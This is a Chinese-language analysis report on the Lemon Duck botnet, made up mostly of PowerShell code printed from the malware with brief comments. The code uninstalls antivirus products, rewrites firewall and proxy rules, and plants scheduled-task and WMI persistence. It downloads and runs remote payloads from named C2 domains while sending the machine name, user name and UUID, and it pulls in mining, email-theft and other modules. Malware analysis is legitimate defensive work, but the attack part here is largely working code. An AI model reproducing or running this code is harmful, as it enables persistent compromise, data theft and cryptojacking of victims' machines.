基于 PowerShell 模块驱动的柠檬鸭（Lemon Duck）深度分析报告

I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c49962........05f7cfc31fdfa1b27ff0f'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

echo$($(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c49962........05f7cfc31fdfa1b27ff0f'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd(); > .\decoded_1.txt

$de=$((' ( ((tfUcm'+'d /c start........[CHaR]39  -ReplaCE  'hCN',[CHaR]36)| &( $pShOMe[21]+$PSHOme[34]+'x')

echo $de > .\decoded_2.txt

#卸载主流杀软（Eset、Kaspersky等）
cmd /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive
cmd /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
cmd /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
cmd /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
cmd /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
cmd /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
cmd /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
cmd /c "C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe" /verysilent /suppressmsgboxes /norestart

#配置防火墙（转发 / 阻断规则）
cmd.exe /c netsh.exe firewall add portopening tcp 65529 SDNSd
netsh.exe interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
netsh advfirewall firewall add rule name="deny445" dir=in protocol=tcp localport=445 action=block
netsh advfirewall firewall add rule name="deny135" dir=in protocol=tcp localport=135 action=block

#启用 SMB（为后续横向扩散铺路）
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 ???Force

$sa=([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")

if($sa)
  {schtasks /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr "blackball"}
  else
  {schtasks /create /sc MINUTE /mo 120 /tn blackball /F /tr "blackball"}

#针对 3 个指定的恶意域名（t.zz3r0.com等）,通过 WMI 事件订阅创建每小时触发一次的隐蔽执行规则,下载 a.jsp 并改名 aa.jsp,实现持久化、无界面运行。
$us=@('t.zz3r0.com','t.zer9g.com','t.amynx.com')

foreach($u in $us){
$theName=getRan
$wmicmd=$tmps.replace('U1',$u.substring(0,5)).replace('U2',$u.substring(5)).replace('a.jsp','aa.jsp')
        Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=(Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="f"+$theName;
        EventNameSpace="root\cimv2";
        QueryLanguage="WQL";
        Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";
        } -ErrorAction Stop);
        Consumer=(Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name="c"+$theName;
        ExecutablePath="c:\windows\system32\cmd.exe";
        CommandLineTemplate="/c powershell -w hidden -c $wmicmd"})}
        start-sleep 5
    }

#对下载的a.jsp进行校验,下载后会触发「校验机制」（长度≥173→解密前 173 字符→SHA1 校验，校验通过才执行）
$tmps=function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);
$c=$d.count;
if($c -gt 173){$b=$d[173..$c];
$p=New-Object Security.Cryptography.RSAParameters;
$p.Modulus=[convert]::FromBase64String(''2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10='');
$p.Exponent=0x01,0x00,0x01;
$r=New-Object Security.Cryptography.RSACryptoServiceProvider;
$r.ImportParameters($p);
#校验
if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171]))))
#执行a.jsp
{I`ex(-join[char[]]$b)}}}$url=''http://''+''U1''+''U2'';a($url+''/a.jsp'+$v+'?''+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join''*''))'}

(get-wmiobject-classwin32_networkadapterconfiguration-filteripenabled=true).SetDNSServerSearchOrder(@(' 8.8.8.8 ',' 9.9.9.9 '))

#定义恶意文件名称+MD5（用于校验，防止篡改）
$ifbin = "if.bin"; $ifmd5 = "888dc1ca4b18a3d424498244acf81f7d"
$krbin = "kr.bin"; $krmd5 = "e04acec7ab98362d87d1c53d84fc4b03"
if ($is64) {
    $mbin = "m6.bin"; $mmd5 = "dcd9144d509e7c6e1e63ecdd7e50e935"
    $mgbin = "m6g.bin"; $mgmd5 = "c8242bffbaf1f76085f140e5a7552692"
}
#下载并执行
SIEX "$core_url/report.jsp"
#下载NVIDIA挖矿驱动（针对64位+NVIDIA显卡主机）
if($isn -and $is64) {
  $nd = "nvd.zip"; $ndg = "$env:tmp\nvdg.dat"
  if(!(Test-Path $ndg) -or (Get-Item $ndg).Length -ne 22035968) {
            (New-Object Net.WebClient).DownloadFile($down_url+"/$nd", "$env:tmp\$nd")
            (New-Object -ComObject Shell.Application).Namespace($env:tmp).CopyHere("$env:tmp\$nd\*",16)
            Remove-Item $env:tmp\$nd
        }
    }
#执行邮件窃取+额外恶意模块
if($mflag) {
    try {
        $localMail = $false
        New-Object Threading.Mutex($true, 'Global\LocalMail', [ref]$localMail)
    } catch {}
    if($localMail -and !(Test-Path "$env:tmp\godmali4.txt")) {
        SIEX "$down_url/if_mail.bin"  # 邮件窃取模块
    }
}
if(!(Test-Path "$env:tmp\kk4kk.log")) {
    SIEX "$down_url/ode.bin"  # 额外恶意模块（远控/数据窃取）
}

# 采集系统全量指纹
$permit = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
$comp_name = $env:COMPUTERNAME
$guid = (Get-WmiObject Win32_ComputerSystemProduct).UUID
$mac = (Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.ipenabled -EQ $true }).Macaddress | Select-Object -First 1
$osb = (Get-WmiObject -Class Win32_OperatingSystem)
$os = $osb.Caption.replace("Microsoft Windows", "") + "_" + $osb.Version
$user = $env:USERNAME
$domain = (Get-WmiObject win32_computersystem).Domain
$uptime = [timespan]::FromMilliseconds([environment]::TickCount).TotalSeconds
$card = (Get-WmiObject Win32_VideoController).name  # 采集显卡信息（判断是否适合挖矿）
$mem = (Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property Capacity -Sum).Sum / 1Gb  # 内存大小

# 采集可用磁盘信息（筛选可写入的磁盘）
try {
    $drive = ([system.IO.DriveInfo]::GetDrives() | where {
        $_.IsReady -and ($_.AvailableFreeSpace -gt 1024) -and
        (($_.DriveType -eq "Removable") -or ($_.DriveType -eq "Network")) -and
        (($_.DriveFormat -eq "NTFS") -or ($_.DriveFormat -eq "FAT32"))
    } | foreach { ($_.Name)[0] + "_" + ($_.DriveType.ToString())[0] }) -join "|"
} catch {}
$timestamp = (Get-Date -UFormat "%s").Substring(0, 9)

#采集挖矿进程信息（本地43669端口，挖矿程序通信特征）
try {
    [Reflection.Assembly]::LoadWithPartialName("System.Web.Extensions")
    $obj = (New-Object Web.Script.Serialization.JavaScriptSerializer).DeserializeObject((New-Object Net.WebClient).DownloadString('http://127.0.0.1:43669/1/summary'))
    $mv = $obj.version; $mip = $obj.connection.ip; $mhr = $obj.hashrate.total -join ','
} catch {}

#标记显卡类型（NVIDIA/AMD，优先挖矿）
if(($card -match "GTX|NVIDIA|GEFORCE")) { $isn = 1 }
if(($card -match "Radeon|AMD")) { $isa = 1 }
$v = $url.split("?")[1]
$params = @($v, $comp_name, $guid, $mac) -join "&"

# 执行重命名，采集恶意文件MD5（失败则静默忽略）
$rename = getrname
$lifmd5, $lmmd5, $lkrmd5 = "", "", ""
try { $lifmd5 = gmd5([IO.File]::ReadAllBytes("$env:tmp\$ifbin")) } catch {}
try { $lmmd5 = gmd5([IO.File]::ReadAllBytes("$env:tmp\$mbin")) } catch {}
try { $lkrmd5 = gmd5([IO.File]::ReadAllBytes("$env:tmp\$krbin")) } catch {}

# 定义C2下载域名（优先级：d.ackng.com → t.amynx.com）
$down_url = "http://d.ackng.com"
if (!$url) { $url = "http://t.amynx.com" }
$core_url = $url.split("/")[0..2] -join "/"

$webclient.Headers.add("User-Agent","Lemon-Duck-"+$Lemon_Duck.replace(' \ ',' - '))